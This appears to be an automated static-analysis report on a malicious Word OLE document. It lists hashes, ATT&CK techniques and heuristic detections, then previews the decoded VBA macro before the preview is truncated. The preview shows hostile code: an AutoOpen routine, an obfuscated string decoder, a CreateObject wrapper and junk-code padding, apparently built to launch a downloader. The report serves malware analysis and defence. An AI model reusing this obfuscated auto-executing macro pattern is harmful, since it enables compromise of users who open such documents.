Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fb18a123f7ba0a40…

MALICIOUS

Office (OLE)

454.0 KB Created: 2018-12-24 06:14:00 Authoring application: Microsoft Office Word First seen: 2019-02-04
MD5: 4343cc9e576f39c311f3dd84aaf63604 SHA-1: 1b97ccb2d2521de3b98562f57885f8fb278a04a8 SHA-256: fb18a123f7ba0a409eff0a00e3efad0371e124285da3278224c17489b328a420
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine that utilizes Shell() and CreateObject() functions. This macro is designed to execute obfuscated code, likely to download and run a second-stage payload. The presence of these functions and the obfuscated nature of the script strongly suggest a malicious intent to compromise the user's system.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscated-6397052-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscated-6397052-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 61750 bytes
SHA-256: ac341ddadd974fd385de562b012a4c0a8f63683455b2d84b4039b0f05f70b9cd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lGXPqdoiMEEYtWtZvoG"
Sub AutoOpen()
Dim dDxsXbPWrjlLGC As String: dDxsXbPWrjlLGC = gZPzYBhuOpJsq("DB8gHEtESUNeRUNBRlxYWktGU1hcFwoQEkYRHQ0=")
Dim tSZCPdZitoNcLPlIly: tSZCPdZitoNcLPlIly = Array("pXqnWaAtebt""uuXjfgRYsbmOVkSWCH""QeCQKPeIyieUPbRTF""FKpbUOXzSuOnPMjUoUm""BmQMOjvOIfHdzSHY")
mwGRUyNBCkeado.xFXECqEjfaAo (vNlobCwsTfls(dDxsXbPWrjlLGC, "dkTlqkfqosmsrhvmrhaosskfwhtehgksmsrjtehdjqtsmsepqosmsTlqkfRjaosskfrhvmsiehfdkqjflrpTspslalfjfu924tu924t#$(TG@#TG$@"))
End Sub
Public Function XclYuyAceKdIAekvn(mAQGtRvhpLrgWWmpHsy As String) As Object
Dim OItmlkKIIGXoKrMxEL, mrJmmGVbftrXt As Integer
OItmlkKIIGXoKrMxEL = 5
mrJmmGVbftrXt = 69
While OItmlkKIIGXoKrMxEL < mrJmmGVbftrXt
mrJmmGVbftrXt = mrJmmGVbftrXt - OItmlkKIIGXoKrMxEL
Wend
Set XclYuyAceKdIAekvn = VBA.CreateObject(mAQGtRvhpLrgWWmpHsy)
End Function
Public Function gZPzYBhuOpJsq(sUmCPRfSirV As String, Optional ykMhkFrOoQbehyQZHVo As Boolean = True) As String
Dim FBOmZvIKNgsBMOOj, RWWxjQNkSTjGF As Integer
FBOmZvIKNgsBMOOj = 6
RWWxjQNkSTjGF = 26
While FBOmZvIKNgsBMOOj < RWWxjQNkSTjGF
RWWxjQNkSTjGF = RWWxjQNkSTjGF - FBOmZvIKNgsBMOOj
Wend
Static VzFNsqhyeuv(0 To 255) As Byte
Dim QUWFTNDFvBLrn As Integer
QUWFTNDFvBLrn = 1 * 8
Dim rxCiUUvUjMWmDG() As Byte, gPvreCigIYkGW() As Byte
Dim fNMACMzemSzJ: fNMACMzemSzJ = Array("rpVJvqunYuxiWJmQsGG""hDpAXtTkDPZf""esLAbiAEKXQR""SkPLwgbGATj""aALGFVKyskie""qnIOICSNqdftyFsa""oNdaJntoDAjg""dUUTzSdJsHELq""BwBmzldqYJV")
Dim eepODSyqZZbmpsiL As Long, tSQUzOlRDdUWAGwZT As Long
Dim ZQZDaFrLCYq As Integer
ZQZDaFrLCYq = 8 * 8
If VzFNsqhyeuv(0) = 0 Then
Dim oWMkVhROvHqJOmlaZih, AZzlHPBCEaECNTTV As Integer
For AZzlHPBCEaECNTTV = 0 To 3
oWMkVhROvHqJOmlaZih = oWMkVhROvHqJOmlaZih + AZzlHPBCEaECNTTV
Next AZzlHPBCEaECNTTV
For eepODSyqZZbmpsiL = 0 To 255
VzFNsqhyeuv(eepODSyqZZbmpsiL) = 255
Dim QRtYBoJJCsdP, ScngKKzVTAsVgFFqbw As Integer
For ScngKKzVTAsVgFFqbw = 0 To 1
QRtYBoJJCsdP = QRtYBoJJCsdP + ScngKKzVTAsVgFFqbw
Next ScngKKzVTAsVgFFqbw
Next eepODSyqZZbmpsiL
Dim SRaBLnmXtLVo, yOGguznVUqyM As Integer
For yOGguznVUqyM = 0 To 1
SRaBLnmXtLVo = SRaBLnmXtLVo + yOGguznVUqyM
Next yOGguznVUqyM
For eepODSyqZZbmpsiL = 0 To 25
Dim LXauTSyzDyz: LXauTSyzDyz = Array("NUMUfPvHFxgA""HEezhaUXgpJuTuJCPc""umQlwNsrsVdmx""FRfUckPDTpN""hgAVWDcvYSDCfovzX""LQKUXQBdWtj")
VzFNsqhyeuv(eepODSyqZZbmpsiL + 65) = eepODSyqZZbmpsiL
Dim RsZWrAuKiAr As Integer
RsZWrAuKiAr = 4 - 3 * 1
Next eepODSyqZZbmpsiL
Dim ksyPHgytZoktsFLXd, GOKAMGGysNrmMcbW As Integer
ksyPHgytZoktsFLXd = 1
GOKAMGGysNrmMcbW = 93
While ksyPHgytZoktsFLXd < GOKAMGGysNrmMcbW
GOKAMGGysNrmMcbW = GOKAMGGysNrmMcbW - ksyPHgytZoktsFLXd
Wend
For eepODSyqZZbmpsiL = 26 To 51
Dim uIksXDkRanhWaat: uIksXDkRanhWaat = Array("XQISGycMAOrNICRvzt""bTdlNhFJWbjwDJfiuG")
VzFNsqhyeuv(eepODSyqZZbmpsiL + 71) = eepODSyqZZbmpsiL
Dim LgEBiFPvaoq, FljCuOHsvbdXORFI As Integer
For FljCuOHsvbdXORFI = 0 To 1
LgEBiFPvaoq = LgEBiFPvaoq + FljCuOHsvbdXORFI
Next FljCuOHsvbdXORFI
Next eepODSyqZZbmpsiL
Dim NMxbufgazYvAvdWN As Integer
NMxbufgazYvAvdWN = 9 - 8 * 6
For eepODSyqZZbmpsiL = 52 To 61
Dim OzJWripEOYGwXVhDRHK: OzJWripEOYGwXVhDRHK = Array("UAYiMHZppvrTlt")
VzFNsqhyeuv(eepODSyqZZbmpsiL - 4) = eepODSyqZZbmpsiL
Dim zseUbwmGnyMhNi As Integer
zseUbwmGnyMhNi = 7 * 9
Next eepODSyqZZbmpsiL
Dim LiRUqQtFnfmlYs As Collection
Set LiRUqQtFnfmlYs = New Collection
LiRUqQtFnfmlYs.Add "ehRaZPiDAcRN"
LiRUqQtFnfmlYs.Add "iMfCAEhOdWk"
LiRUqQtFnfmlYs.Add "ikxAFhYbkeJX"
LiRUqQtFnfmlYs.Add "FAFbGbhCxRD"
LiRUqQtFnfmlYs.Add "gFuAmEnXhVuWjkQ"
LiRUqQtFnfmlYs.Add "KbADcXWIYiqLsa"
LiRUqQtFnfmlYs.Add "qQCbGbEZDhYrNW"
LiRUqQtFnfmlYs.Add "raJRTEcLJxp"
LiRUqQtFnfmlYs.Add "GPoeYvsBjoLLLGd"
LiRUqQtFnfmlYs.Add "EqTYmAvwajwzhFbIV"
VzFNsqhyeuv(43) = 62
Dim DhTLjAcmMydntUE As Integer
DhTLjAcmMydntUE = 4 - 8
... (truncated)